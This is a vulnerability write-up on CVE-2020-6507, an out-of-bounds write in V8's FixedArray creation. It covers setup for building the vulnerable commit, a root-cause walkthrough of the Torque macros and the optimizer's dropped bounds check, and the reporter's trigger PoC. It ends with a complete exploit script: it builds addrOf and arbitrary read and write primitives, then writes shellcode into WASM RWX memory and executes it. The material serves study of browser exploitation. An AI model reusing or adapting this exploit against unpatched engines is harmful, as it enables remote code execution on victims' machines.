Overview
CVE-2020-6507 is an out-of-bounds write vulnerability in the V8 JavaScript engine caused by missing length validation when creating FixedArray objects. The bug allows an attacker to allocate arrays with exceed lengths.
Environment Setup
To reproduce and analyze the vulnerability, set up the environment as follows:
#!/bin/bash
# Clone depot_toolsgit clone https://chromium.googlesource.com/chromium/tools/depot_tools.git
# Setup environment for V8 buildexport PATH=`pwd`/depot_tools:"$PATH"fetch v8 --nohookscd v8./build/install-build-deps.shsudo apt-get install ninja-build
# Checkout vulnerable commitgit checkout 64cadfcf4a56c0b3b9d3b5cc00905483850d6559gclient sync -D
# Build debug and release versionstools/dev/gm.py x64.releasetools/dev/gm.py x64.debugNote that if you’re using Ubuntu 22.04 or later, you may need to modify these things:
- Modify
gm.pyshebang to#!/usr/bin/env python3 - Change
from collections import Mappingtofrom collections.abc import Mappinginthird_party/jinja2/tests.py
And during the build, you might encounter an error related to libstdc++. To fix this, you can create a symlink:
#!/bin/bash
TOOLLIB=third_party/llvm-build/Release+Asserts/libmkdir -p /tmp/v8-libstdcxx-bakcp -a $TOOLLIB/libstdc++.so.6* /tmp/v8-libstdcxx-bak/ 2>/dev/null || true
real=$(realpath /usr/lib/x86_64-linux-gnu/libstdc++.so.6)cp -av "$real" "$TOOLLIB/"
ln -sf "$(basename "$real")" "$TOOLLIB/libstdc++.so.6" 2>/dev/null || \cp -av "$real" "$TOOLLIB/libstdc++.so.6"then rerun the build command again.
Basic Concepts
Before diving into the vulnerability analysis, it’s essential to understand some basic concepts related to V8’s memory management and array handling. I highly recommend reading the following articles:
Bug Location
The vulnerability is located at src/objects/fixed-array.tq, specifically in the NewFixedArray and NewFixedDoubleArray macros:
macro NewFixedArray<Iterator: type>(length: intptr, it: Iterator): FixedArray { if (length == 0) return kEmptyFixedArray; return new FixedArray{map: kFixedArrayMap, length: Convert<Smi>(length), objects: ...it};}
macro NewFixedDoubleArray<Iterator: type>( length: intptr, it: Iterator): FixedDoubleArray|EmptyFixedArray { if (length == 0) return kEmptyFixedArray; return new FixedDoubleArray{ map: kFixedDoubleArrayMap, length: Convert<Smi>(length), floats: ...it };}Since there is no validation of the length parameter before Convert<Smi>(length). Creating a FixedArray with that function can exceed the maximum length of FixedArray (FixedDoubleArray::kMaxLength = 0x3fffffe). Moreover, the FixedDoubleArray::kMaxLength (0x3FFFFFE) is less than Smi::kMaxValue (0x3FFFFFFF), allowing us to construct an array just below the Smi limit. Here is the way to calculate both kMaxLength values:
class Smi : public Object { static constexpr int kMaxValue = kSmiMaxValue;};
// src/objects/fixed-array.hclass FixedArrayBase : public HeapObject { const length: Smi; // ← Length field is a Smi static const int kMaxSize = 128 * kTaggedSize * MB - kTaggedSize;};
class FixedDoubleArray : public FixedArrayBase { floats[length]: float64_or_hole; static const int kMaxLength = (kMaxSize - kHeaderSize) / kDoubleSize;};
// Calculations:// kMaxSize = 128 * 4 * 1024 * 1024 - 4 = 0x1FFFFFFC (536,870,908 bytes)// kHeaderSize = 8 (map pointer + length Smi)// kDoubleSize = 8// kMaxLength = (0x1FFFFFFC - 8) / 8 = 0x3FFFFFE (67,108,862)// Smi::kMaxValue = 2^30 - 1 = 0x3FFFFFFF (1,073,741,823)Exploitation Path
The vulnerability is reachable via the following call chain when using Array.prototype.splice() on a near-maximum-size array:
ArrayPrototypeSplice ↓FastArraySplice ↓FastSplice<FixedDoubleArray, Number> ↓Extract ↓ExtractFixedArray ↓NewFixedArray (vulnerable)Code Path Details
transitioning macro FastArraySplice( [...] if (IsFastSmiOrTaggedElementsKind(elementsKind)) { FastSplice<FixedArray, JSAny>( args, a, length, newLength, actualStart, insertCount, actualDeleteCount); } else { FastSplice<FixedDoubleArray, Number>( args, a, length, newLength, actualStart, insertCount, actualDeleteCount); } return deletedResult;}
macro FastSplice<FixedArrayType : type extends FixedArrayBase, ElementType: type>( implicit context: Context)( [...] if (insertCount != actualDeleteCount) { [...] const newElements: FixedArrayType = UnsafeCast<FixedArrayType>( Extract(elements, 0, actualStart, capacity)); [...] } [...]}
macro Extract(implicit context: Context)( source: FixedArray, startIndex: Smi, count: Smi, resultCapacity: Smi): FixedArray { return ExtractFixedArray( source, Convert<intptr>(startIndex), Convert<intptr>(count), Convert<intptr>(resultCapacity));}
macro ExtractFixedArray( source: FixedArray, first: intptr, count: intptr, capacity: intptr): FixedArray { // TODO(turbofan): This should be optimized to use memcpy for initialization. return NewFixedArray( capacity, IteratorSequence<Object>( (&source.objects).Iterator(first, first + count), ConstantIterator(TheHole)));}Proof of Concept
Below is a PoC given by Reporter:
array = Array(0x40000).fill(1.1);args = Array(0x100 - 1).fill(array);args.push(Array(0x40000 - 4).fill(2.2));giant_array = Array.prototype.concat.apply([], args);
giant_array.splice(giant_array.length, 0, 3.3, 3.3, 3.3);
print(giant_array.length.toString(16));Let’s break down the PoC:
-
We create
giant_arraywith length0x3FFFFFC(just belowFixedDoubleArray::kMaxLength).- One
arrayof length0x40000(16,384) filled with1.1 0xFFarrays of length0x40000filled with2.2- We use
Array.prototype.concat.applyto flatten these intogiant_array. - So that the total length is
255 * 0x40000 + (0x40000 - 4) = 0x3fffffc.
- One
-
Next, we call
giant_array.splice(giant_array.length, 0, 3.3, 3.3, 3.3);tospliceat the end of the array, inserting three new elements (3.3, 3.3, 3.3). Under the hood, we still pass all the checks and reachNewFixedArraywithcapacity = 0x3ffffff(which is0x3FFFFFC + 3).
Make OOB array
We can abuse TypedOptimization::ReduceMaybeGrowFastElements to create an out-of-bounds array in this case:
Reduction TypedOptimization::ReduceMaybeGrowFastElements(Node* node) { Node* const elements = NodeProperties::GetValueInput(node, 1); Node* const index = NodeProperties::GetValueInput(node, 2); // [1] Node* const length = NodeProperties::GetValueInput(node, 3); // [2] Node* const effect = NodeProperties::GetEffectInput(node); Node* const control = NodeProperties::GetControlInput(node);
Type const index_type = NodeProperties::GetType(index); Type const length_type = NodeProperties::GetType(length);
// Both `index` and `length` need to be unsigned Smis CHECK(index_type.Is(Type::Unsigned31())); CHECK(length_type.Is(Type::Unsigned31()));
if (!index_type.IsNone() && !length_type.IsNone() && // [3] index_type.Max() < length_type.Min()) { Node* check_bounds = graph()->NewNode( // [4] simplified()->CheckBounds(FeedbackSource{}, CheckBoundsFlag::kAbortOnOutOfBounds), index, length, effect, control); ReplaceWithValue(node, elements); // [5] return Replace(check_bounds); }
return NoChange();}Although the function adds type and range checks at [1], [2], and [3], the mitigation is ineffective in practice. When the optimizer believes index_type.Max() < length_type.Min(), it inserts a new CheckBounds node at [4]. But immediately afterward, ReplaceWithValue(node, elements) at [5] rewires the graph so the original node’s effect chain is already updated, and the value produced by CheckBounds is not actually used by any consumer.
Because the inserted CheckBounds node ends up with no meaningful value/effect usage, later optimization passes consider it dead and eliminate it. The end result is that the intended bounds check disappears, leaving a path where the typer’s incorrect “no growth needed” assumption can still be abused to obtain out-of-bounds access.
Exploit
Combine all, we have the following PoC that can archive Remote Code Execution:
/*Exploit for V8 CVE-2020-6507Commit: 64cadfcf4a56c0b3b9d3b5cc00905483850d6559
References:- https://bugs.chromium.org/p/chromium/issues/detail?id=1086890- https://github.com/anvbis/chrome_v8_ndays/blob/master/cve-2020-6507.js- https://www.y4y.space/2022/08/05/browser-exploitation-a-case-study-of-cve-2020-6507/
Patch:- https://chromium.googlesource.com/v8/v8.git/+/3d9272cf7ab64b7fe76de02c859daae0588e8370*/
var buf = new ArrayBuffer(8);var f64_buf = new Float64Array(buf);var u64_buf = new BigUint64Array(buf);var u32_buf = new Uint32Array(buf);
function f2i(val) { f64_buf[0] = val; return u64_buf[0];}
function i2f(val) { u64_buf[0] = BigInt(val); return f64_buf[0];}
function i2u_lo(i) { u64_buf[0] = BigInt(i); return u32_buf[0];}
function i2u_hi(i) { u64_buf[0] = BigInt(i); return u32_buf[1];}
function u2f(lo, hi) { u32_buf[0] = lo; u32_buf[1] = hi; return f64_buf[0];}
const logInfo = (m) => print(`[*] ${m}`);const logOK = (m) => print(`[+] ${m}`);const logErr = (m) => print(`[-] ${m}`);
function toHex(x, w = 16) { x = BigInt.asUintN(64, BigInt(x)); return "0x" + x.toString(16);}
function gc() { for (var i = 0; i < 0x10000; ++i) var a = new ArrayBuffer();}
array = Array(0x40000).fill(1.1);args = Array(0x100 - 1).fill(array);args.push(Array(0x40000 - 4).fill(2.2));giant_array = Array.prototype.concat.apply([], args);giant_array.splice(giant_array.length, 0, 3.3, 3.3, 3.3);
// Length @ 0x1337 || Elements @ 0x83c03e5 (point to corrupted_array's elements)length_as_double = i2f((0x1337n << 33n) + 0x83c03e5n);
function trigger(array) { var x = array.length; // 0x3ffffff x -= 0x3fffffd; // 2 x = Math.max(x, 0); // 2 x *= 6; // 12 x -= 5; // 7 x = Math.max(x, 0); // 7
let corrupting_array = [1.1, 1.1]; let corrupted_array = [2.2]; corrupting_array[x] = length_as_double; return [corrupting_array, corrupted_array];}
%PrepareFunctionForOptimization(trigger);trigger(giant_array);%OptimizeFunctionOnNextCall(trigger);
let corrupted_array = trigger(giant_array)[1];logInfo("Corrupted array length: " + toHex(corrupted_array.length));
let arr = [1.1];let obj = { m: 13.37 };
gc(); gc();
let double_array_map = i2u_lo(f2i(corrupted_array[14]));logInfo("double array map: " + toHex(double_array_map));
function AddrOf(target) { obj[0] = target; corrupted_array[16] = u2f(double_array_map, 0); return i2u_lo(f2i(obj[0]));}
function arbRead(addr) {
if (addr % 2 == 0) addr += 1;
corrupted_array[16] = u2f(double_array_map, 0); corrupted_array[17] = u2f(addr - 0x8, 100); return f2i(obj[0]);}
function arbWrite(addr, value) {
if (addr % 2 == 0) addr += 1;
corrupted_array[16] = u2f(double_array_map, 0); corrupted_array[17] = u2f(addr - 0x8, 100); obj[0] = i2f(value);}
let wasm_code = new Uint8Array([ 0x00, 0x61, 0x73, 0x6d, 0x01, 0x00, 0x00, 0x00, 0x01, 0x05, 0x01, 0x60, 0x00, 0x01, 0x7f, 0x03, 0x02, 0x01, 0x00, 0x07, 0x08, 0x01, 0x04, 0x6d, 0x61, 0x69, 0x6e, 0x00, 0x00, 0x0a, 0x06, 0x01, 0x04, 0x00, 0x41, 0x2a, 0x0b]);
let wasm_mod = new WebAssembly.Module(wasm_code);let wasm_instance = new WebAssembly.Instance(wasm_mod);let f = wasm_instance.exports.main;
let wasm_inst_addr = AddrOf(wasm_instance);logOK("WASM Instance addr: " + toHex(wasm_inst_addr));
let rwx = arbRead(wasm_inst_addr + 0x68);logOK("WASM RWX addr: " + toHex(rwx));
let shellcode = [ 0x90909090, 0x90909090, 0xb848686a, 0x6e69622f, 0x732f2f2f, 0xe7894850, 0x01697268, 0x24348101, 0x01010101, 0x6a56f631, 0x01485e08, 0x894856e6, 0x6ad231e6, 0x050f583b];
let buffer = new ArrayBuffer(shellcode.length * 4);let view = new DataView(buffer);
let buffer_backing_store = AddrOf(buffer) + 0x14;logOK("ArrayBuffer backing store pointer: " + toHex(buffer_backing_store));
logInfo("Writing shellcode to RWX memory...");
arbWrite(buffer_backing_store, rwx);
for (let i = 0; i < shellcode.length; i++) { view.setUint32(i * 4, shellcode[i], true);}
logInfo("Executing shellcode...");f();